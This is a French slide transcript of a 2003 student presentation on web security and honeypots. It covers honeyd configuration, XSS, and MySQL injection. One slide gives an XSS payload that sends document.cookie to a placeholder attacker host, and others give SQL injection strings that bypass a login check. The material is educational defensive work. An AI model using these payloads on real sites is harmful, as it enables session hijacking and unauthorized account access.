Sécurité des systèmes d’information: Web Security & Honeypots

Slides:



Advertisements
Présentations similaires
Novembre 2005 – Michel Desconnets PHP : théorie Objectif : introduire les concepts globaux permettant d'aborder la programmation en PHP.
Advertisements

Botnet, défense en profondeur
ASP.NET 2.0 et la sécurité Nicolas CLERC
Conception de Site Webs dynamiques Cours 6
Conception de Site Webs dynamiques Cours 5
Algorithmes et structures de données avancées Partie Conception de Sites Web dynamiques Cours 9 Patrick Reuter.
Algorithmes et structures de données avancées Partie Conception de Sites Web dynamiques Cours 8 Patrick Reuter.
CORRECTION DU DEVOIR DE SYNTHESE N° 2
Exposé de Système - Informatique et Réseau
Xavier Tannier Yann Jacob Sécurite Web.
HTML Les types de balises
TP 3-4 BD21.
Un peu de sécurité Modal Web Modal Baptiste DESPREZ
16/10/10 Préparé par: Ing. Rodrigue Osirus (+509) , *** Site web dynamique.
Révision Avant lintra – Architecture de lordinateur, les composants, le fonctionnement, codage – Système dexploitation: organisation des données (fichier),
2006/2007Denis Cabasson – Programmation Web Cours de programmation web ENSAE
MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur.
Les Redirections et renvois non validés
LES LANGAGES DE PROGRAMMATIONS JAVASCRIPTH.T.M.LP.H.PS.Q.L Reynald Maréchal DI045.
Développement dapplications web Initiation à la sécurité 1.
Le langage PHP 5.
Comprendre l’environnement Web
Applications Chapitre B17 et C18
La sécurité - Les attaques
Les instructions PHP pour l'accès à une base de données MySql
Xavier Tannier Sécurite Web.
ASP.NET Par: Hugo St-Louis. C ARACTÉRISTIQUES A SP. NET Évolution, successeur plus flexible quASP (Active Server Pages). Pages web dynamiques permettant.
Jeudi, 20 août 2009 Sécurité informatique Cégep de St-Hyacinthe Par Hugo St-Louis.
A4.1.1 Proposition dune solution applicative A4.1.2 Conception ou adaptation de linterface utilisateur dune solution applicative A4.1.2 Conception ou.
1 PHP 1.Langage PHP 1.1. Types de base, variables et constantes 1.2. Opérateurs et expressions 1.3. Instructions 1.4. Fonctions 2.Accès aux bases de données:
PhP-MySQL Pagora 2012/2013 CTD 1 - Presentation de moi ^^
Module 8 : Maintenance des logiciels à l'aide des services SUS
Olivier Nocent Programmation Web Olivier Nocent
Protocoles et service internet: http
MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Javascript JavaScript / Jquery Langage de script (comme PHP) Exécuté par votre navigateur (Firefox, IE,
MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur.
Document élaboré à Centrale Paris par Pascal Morenton LES TECHNOLOGIES DU WEB 1. LES PHASES D UN DEPLOIEMENT DE RESEAUX 2. LE LANGAGE HTML 3. LE LANGAGE.
Vue d'ensemble Configuration d'adresses IP
PHP & My SQL.
Travail de diplôme José Garrido Professeur : Philippe Freddi Explorer Internet en toute sécurité Surf Safe SPY INTERNET.
PHP 5° PARTIE : LES COOKIES
Cours n°4M2. ESCE (S. Sidhom) Séminaire ( 6-12 Février 2007 ) Promo. M2 ESCE-Tunis 2006/07 Conception d’un système d'information sur Internet Architecture.
Expose sur « logiciel teamviewer »
Cours de programmation web
PHP & MySQL Master1 ICD Claire Jacquot Emilie Hot le 24/10/2006.
420-B63 Programmation Web Avancée Auteur : Frédéric Thériault 1.
Institut Supérieur d’Informatique
Installation et Configuration Internet Information Server (IIS 6)
Architecture d’une application WEB Statique:
Développement d’application Web.  Internet  WWW  Client/Serveur  HTTP.
Page 1Dernière mise à jour: 17 avril 2015 Service de l'enseignement des technologies de l'information, © HEC Montréal, Tous droits réservés.
G.KEMBELLEC - UP81 Master 2 THYP Cas pratique d’utilisation De simpleXML Un lecteur de RSS Novembre 2009.
Module : Pages Web Dynamiques (Production Électronique Avancée)
S'initier au HTML et aux feuilles de style CSS Cours 5.
 Formulaires HTML : traiter les entrées utilisateur
Centralisation des sites web d’ELTA & Mise en place d’un serveur NAS
 Fonctions diverses, scripts PHP Variables de session Les sessions sous PHP permettent de conserver des données d'un utilisateur coté serveur, lors de.
Initiation au web dynamique Licence Professionnelle.
Cours n°4M1.ist-ie (S. Sidhom) UE 203 Promo. M1 IST-IE 2006/07 Conception d’un système d'information sur Internet Architecture trois-tiers : technologies.
Plan de la présentation
Séance /10/2005 CSS et Dreamweaver. CSS : principes Cascading Style Sheet = feuille de style en cascade Norme du W3C :
Séance /10/ Projet de site dynamique avec Dreamweaver : MyCMS
CPI/BTS 2 Programmation Web Les sites dynamiques Prog Web CPI/BTS2 – M. Dravet – 02/10/2003 Dernière modification: 02/10/2003.
Sécurité des Web Services
Cours n°2 Implémentation et exploitation
1 Sommaire Présentation de l’entreprise Présentation du stage Présentation de Scarabée Réalisation Conclusion.
APP-TSWD Apprentissage Par Problèmes Techniques des Sites Web Dynamiques Licence Professionnelle FNEPI Valérie Bellynck, Benjamin Brichet-Billet, Mazen.
(fait son épicerie les jeudi). Cross site Scripting est l'attaque web la plus commune.
Par Michael Tran Injection. Présentation du problème C’est faire en sorte que l’entrée utilisateur de l’attaquant est considérée de façon spéciale Permet.
Développement d’applications Web
Transcription de la présentation:

Sécurité des systèmes d’information: Web Security & Honeypots Lloyd DIZON 11 décembre 2003 Transmission de données, EIG

Objectifs du diplôme/Plan de présentation Honeypots Honeyd Bait & Switch (BNS) Securité côté client Contournement de validation javascript Vol de sessions HTTP Cross-site scripting (XSS) Sécurité plate-forme LAMP Sécurisation des scripts PHP Injection MySQL

Honeyd: définition simulation d’architectures de systèmes WIN NT/4 SP5 Microsoft IIS 5.0, web.sh Linux noyau 2.4.16 Boa Web Server, boa_file_retrieval.sh Linux noyau 2.4.18 Apache Server, negative_content.sh serveurs web vulnérables SuSE 8.0 arpd honeyd hôte Honeypot Internet simulation d’architectures de systèmes OS Fingerprinting simulation des services scripts shell

Honeyd: arpd, fichier de configuration honeyd.conf (démo 1) : #créer un chablon pour un serveur create serveur3 #définir personnalité set serveur3 personnality “Linux 2.4.18” #définir réaction par defaut sur port TCP fermé set serveur3 default tcp action reset #définir réaction par defaut sur port UDP fermé set serveur3 default udp action reset #paquets sur port 80 traités par web.sh add serveur3 tcp port 80 "sh script/http_negative_content.sh” #associer chablon à une adr. IP bind 10.1.2.93 serveur3

Honeyd: architecture interne Gestion IP TCP ICMP UDP Services (scripte de services) Fichier de configuration (honeyd.conf) personnalité Architecture interne de honeyd 2 7 6 3 4 1 5 stdin stdout 8 9 1 4 4 3 Internet 2

Honeyd: gestion de personnalité Empreinte pile réseau de NMAP: nmap.prints Exemple tests: FIN  port ouvert Pas de réponse(RFC793-TCP)  RST(Windows) TCP ISN: Unix: aléatoire Windows: périodique HUBs 3Com: constant

Honeyd: script de service http_negative_content.sh: Comportement: Lire requête HTTP Etat NORMAL Etat PANNE Répondre : "HTTP/1.1 404 Not Found" oui Requête contient une en-tête négative Lire requête HTTP Répondre : "HTTP/1.1 404 Not Found" non Répondre : "HTTP/1.1 500 Not Available"

Honeyd: démo (1)

Problématique sécurité web Confiance aux entrées utilisateurs Renvoi de code malicieux par un site web de confiance Manipulation identificateurs de sessions/cookies Validation des entrées du côté utilisateur avec du javascript

Contournement de validation javascript <form name="formulaire" method="POST" onSubmit="return validerFormulaire()"> <input type="text" name="email"> <input type="text" name="utilisateur"> <input type=submit value="Submit"> </form>

Contournement de validation javascript (2) – démo 2

Cross-site scripting Envoi du code malicieux par un site web de confiance mais qui est vulnérable

Cross site scripting (2) Injection du code Paramètres accéssibles dans URL http://siteweb.org/application?var1=valeur Formulaire web

Cross site scripting (3) Code malicieux: <object src="audio/vidéo/programme malicieux"> Balises HTML <a href="http://www.google.com" onMouseOver="document.location.replace(‘http://siteméchant/volercookie.cgi?c=’+document.cookie)"> Google.com </a> Code javascript

Cross site scripting (4) Envoi de document HTML contenant code malicieux Par e-mail (forgé) lorsque client consulte la page web altérée Exploit Web site defacing Vol de cookies, identificateur de sessions

Cross site scripting (5) – démo 3 V13 donnercookie.py: Application web Utilisateur : Navigateur Portable utilisateur exécution code injecté: envoie cookie sur le dépôt de cookie du hacker collect_cookie.py : Dépot: V12 guestbook.py: Application web Hacker : Navigateur Portable hacker test vulnérabilité demande cookie envoi cookie injection du code javascript dans la base de code injecté sauvegardé donnée consulte le guestbook données du guestbook( +code injecté ) sur navigateur code injecté est interprété par le navigateur événement : onMouseOver

Injection MySQL Modification de la requête SQL utilisée par l’application écrite en PHP BDD MySQL script PHP: "SELECT id FROM membres WHERE login='$login' AND pass='$pass'" Serveur web daemon web Client ' requête SQL: "SELECT id WHERE login=' $login AND pass=' $pass " données $login, $pass document HTML requête POST: $login, $pass document HTML

Injection MySQL (2) – démo 4 Table membres: id login pass email user_level 1 admin 4dm1n admin@email.com 3 2 bob bob@email.com alice alice@email.com SELECT id FROM membres WHERE nom='$login' AND pass='$pass' Requête SQL: SELECT id FROM membres WHERE nom='admin'#' AND pass='' $login=admin’# Injection SQL:     SELECT id FROM membres WHERE nom='admin' Requête SQL effectuée:

Injection MySQL (3) Modification des requêtes SQL: des expressions booléennes qui s’évalue à "vraie" SELECT id FROM members WHERE login='admin' OR 1=1' AND pass='' des apostrophes ' un caractère de commentaire # une combinaison des expressions ci-dessus

Conclusion Honeypots : Securité web : Honeyd  administration simple, comportement statique, honeypot à faible intéraction Securité web : Clients web sous le risque  mauvaise conception des applications web (pas de filtrage et validation des entrées utilisateur – vulnérabilité n°1 des applications web selon OWASP)